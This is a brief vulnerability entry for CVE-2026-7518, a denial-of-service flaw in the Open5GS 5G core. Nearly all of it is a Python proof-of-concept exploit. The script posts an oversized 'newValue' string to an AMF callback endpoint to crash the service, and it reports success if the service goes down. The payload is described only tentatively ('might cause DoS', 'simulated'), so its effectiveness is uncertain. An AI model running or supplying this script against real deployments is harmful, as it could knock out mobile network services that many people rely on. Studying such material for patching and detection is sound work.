CVE-2026-7518 Open5GS拒绝服务漏洞

import requests import json # Target URL (Simulated based on SBI specification) target_url = "http://<open5gs-ip>:8080/namf-callback/v1/<subscription-id>/sdmsubscription-notify" # Malicious payload manipulating changeItem.newValue # The vulnerability triggers when processing this specific argument. # Sending a malformed or excessively large string might cause DoS payload = { "changeType": "INSERT", "changeItem": { "resourceId": "test-resource", # Triggering the vulnerability by manipulating newValue "newValue": "A" * 10000 } } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("If the service crashes, DoS is successful.") except requests.exceptions.RequestException as e: print(f"Request failed (Service might be down): {e}")